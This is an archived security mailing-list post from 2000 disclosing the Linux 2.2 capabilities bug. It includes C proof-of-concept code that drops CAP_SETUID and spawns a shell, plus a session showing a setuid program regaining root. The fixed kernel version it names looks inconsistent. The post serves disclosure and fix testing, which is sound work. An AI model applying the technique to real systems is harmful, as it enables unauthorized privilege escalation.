|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Subject: the Linux Capabilities bug
From: Roger Espel Llima (espel
IAGORA.NET)Date: Thu Jun 08 2000 - 09:56:24 CDT
- Next message: Wojciech Purczynski: "Re: local root on linux 2.2.15"
- Previous message: Security Team: "DST2K0012: BufferOverrun in HP Openview Network Node Manager v6.1"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I did some testing about this Linux Capabilities bug; the problem is as
described: random user can take out the capability CAP_SETUID from its
inheritable set, and then execute a suid program. The suid program runs
with full root privileges, *except* that when it does a
setuid(getuid()); (as many suid programs do to give up privileges), it
doesn't reset the saved uid. So the program can later do a setuid(0);,
and get root privs again.
Here's some code to test whether giving up root works:
------- blep.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
if (geteuid()) {
printf("Run me as root please\n");
exit(1);
}
printf("BEFORE: %d %d\n", getuid(), geteuid());
setuid(getuid());
printf("GAVE UP: %d %d\n", getuid(), geteuid());
setuid(0);
printf("GOT BACK: %d %d\n", getuid(), geteuid());
if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
return 0;
}
And here's code to disable the CAP_SETUID capability:
------- suidcap.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>
_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);
typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;
void remove_cap(capdata_t *data, int cap) {
data->effective &= ~(1 << cap);
data->permitted &= ~(1 << cap);
data->inheritable &= ~(1 << cap);
}
void cap_get(capheader_t *header, capdata_t *data) {
if (capget(header, data) == 0) return;
perror("capget");
exit(-1);
}
void cap_set(capheader_t *header, capdata_t *data) {
if (capset(header, data) == 0) return;
perror("capset");
exit(-1);
}
main() {
capheader_t header;
capdata_t data;
header.version = _LINUX_CAPABILITY_VERSION;
header.pid = 0;
data.effective = data.permitted = data.inheritable = 0;
cap_get(&header, &data);
remove_cap(&data, CAP_SETUID);
cap_set(&header, &data);
printf("launching shell...\n");
execl("/bin/sh", "/bin/sh", NULL);
perror("execl");
}
And finally here's a demonstration of the problem:
$ uname -s -r
Linux 2.2.14-15mdk
$ gcc blep.c -o blep
$ gcc suidcap.c -o suidcap
$ su
Password:
# chown root.root blep
# chmod 4755 blep
# exit
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 0
PROBLEM!!
sh-2.03$ exit
Finally, I can confirm that Linux 2.1.16 fixes the problem:
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
sh-2.03$ exit
-- Roger Espel Llima, espeliagora.net http://www.iagora.com/~espel/index.html
- Next message: Wojciech Purczynski: "Re: local root on linux 2.2.15"
- Previous message: Security Team: "DST2K0012: BufferOverrun in HP Openview Network Node Manager v6.1"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]